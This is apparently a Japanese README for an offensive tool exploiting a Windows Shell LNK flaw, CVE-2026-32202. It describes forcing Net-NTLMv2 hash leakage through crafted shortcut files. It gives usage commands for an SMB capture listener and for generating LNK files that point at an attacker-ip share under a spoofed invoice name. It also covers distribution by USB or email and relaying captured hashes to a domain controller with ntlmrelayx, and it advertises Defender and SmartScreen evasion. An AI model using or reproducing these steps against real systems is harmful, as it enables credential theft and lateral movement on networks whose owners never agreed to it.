CVE-2026-32202

免責事項

このツールは許可されたレッドチーム演習およびペネトレーションテスト専用です。
明示的な許可なくシステムに対して不正に使用することは違法です。
自己責任で使用してください。作者は、誤用や損害について一切の責任を負いません。

説明
不完全なWindows Shell保護バイパス（CVE-2026-32202）によるNTLMv2ハッシュ強制取得。エクスプローラーで開くかプレビューするとSMB/UNC認証を強制する、特別に細工されたLNKファイルを生成します。低インタラクションで、2026年4月の修正が不十分だったパッチ適用済みシステムでも動作します。実際のエンゲージメントで積極的に使用されています。

主な機能

• 悪意のあるLNKによるゼロクリック／最小インタラクションのNet-NTLMv2漏洩（エクスプローラーのプレビュー＋アイコン解決パス）。
• ハッシュキャプチャ用のカスタムSMBリスナー（Responder不要、ログがよりクリーン）。
• ETW/Defenderのフットプリントを低減した安定版。
• 部分的なAMSI/SmartScreenバイパスモード。
• ntlmrelayxリレーチェーン（SMB、LDAP、HTTPなど）に対応。

このエクスプロイトが行うこと
このツールは、Target + IconEnvironmentDataBlock / ExtraData構造におけるUNCパスの処理におけるShellの挙動を悪用する、細工された.LNKを作成します。被害者がフォルダーを閲覧するか、ファイルにホバー／プレビューすると、Windows Shellが攻撃者制御のUNCへのSMB接続を開始し、マシン／ユーザーのNet-NTLMv2ハッシュを漏洩させます。ターゲット上でのコード実行はありません - リレーまたはクラッキングのための認証情報の強制取得です。

これが有用な理由

• 内部ペンテスト／レッドチーム運用（特にフィッシングが制限されているエアギャップ環境や堅牢化された環境）での迅速な初期アクセス。
• 高価値ターゲット（DC、ファイルサーバー、Exchange、ADCSなど）へのNTLMリレーに最適。
• 従来のResponderがブロックされている、またはノイズが多い環境でも動作。
• Win10 21H2–22H2、Win11 23H2–26H1、Server 2019–2025で高い成功率（テスト済みビルドは以下）。

テスト済み環境

• Windows 11 24H2（ビルド 26100.XXXX）
• Windows 11 23H2 / 25H2
• Windows 10 22H2
• Windows Server 2022 / 2025（コア＋デスクトップエクスペリエンス）
• 2026年4月の累積更新プログラム適用後は部分的に有効（不完全な修正が実環境で確認済み）。

依存関係 インストール: pip install -r requirements.txt

使用方法

# 1. キャプチャサーバーを起動（攻撃者ホスト）
python smbcapture.py -i 0.0.0.0 -p 445 --output hashes.txt

# 2. 悪意のあるLNKを生成
python coercegen.py --unc \\attacker-ip\share\test --output "Invoice_Q2.lnk" --spoof "invoice.pdf"

# オプション: 安定版またはバイパスモード
python coercestable.py --unc \\attacker-ip\share\test --output "Report.lnk"

# 3. LNKを配布（USB、共有、メール添付、OneDriveなど）

# 4. ターミナル＋ファイルでハッシュを待機。リレーの例:
ntlmrelayx.py -t smb://target-dc -c whoami --no-wmipriv
# または RBCD用のLDAPリレー、ADCS証明書用のHTTPリレーなど

エクスプロイト

href

制限事項

• 被害者が含まれるフォルダーを操作する必要がある（通常はエクスプローラーのプレビュー／ホバーで十分）。
• 最新のネットワークセグメンテーション＋SMB署名＋NTLM制限により、リレーの成功率が低下する。
• 完全なRCEではない - 認証情報のみ。
• パッチ適用状況が重要。2026年4月以降に完全に更新されたシステムでは、バイパス亜種が必要になる場合がある。

根本原因（概要）
LNKのアイコン／ターゲット解決におけるUNCパスサニタイズとExtraDataブロック処理に関するWindows Shellの修正が不完全。不正なネットワークスプーフィングをブロックすることを目的とした保護メカニズムが、Shell名前空間の列挙中に依然としてNTLM認証をトリガーします。